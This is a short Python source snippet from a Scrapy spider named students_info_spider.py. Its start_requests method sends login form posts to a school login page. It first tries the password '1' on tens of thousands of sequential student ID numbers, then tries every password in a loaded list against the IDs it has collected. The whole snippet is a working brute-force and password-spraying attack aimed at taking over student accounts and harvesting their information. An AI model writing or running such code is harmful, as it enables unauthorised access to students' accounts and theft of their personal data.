students_info_spider.py 文件源码

def start_requests(self):
        if self.FIRST_TIME_RUNNING:
            self.FIRST_TIME_RUNNING = False
            for sid in (list(range(2014020000, 2014040000))
                            + list(range(2015020000, 2015040000))
                            + list(range(2016020000, 2016040000))):
                yield scrapy.FormRequest(self.domain + self.login_url,
                                         formdata={'zjh': str(sid), 'mm': '1'},
                                         callback=self.parse,
                                         meta={'sid': sid, 'password': '1', 'cookiejar': sid},
                                         dont_filter=True)
        else:
            for password in self.load_passwords():
                for sid in self.get_sids():
                    yield scrapy.FormRequest(self.domain + self.login_url,
                                             formdata={'zjh': str(sid), 'mm': password},
                                             callback=self.parse,
                                             meta={'sid': sid, 'password': password, 'cookiejar': sid},
                                             dont_filter=True)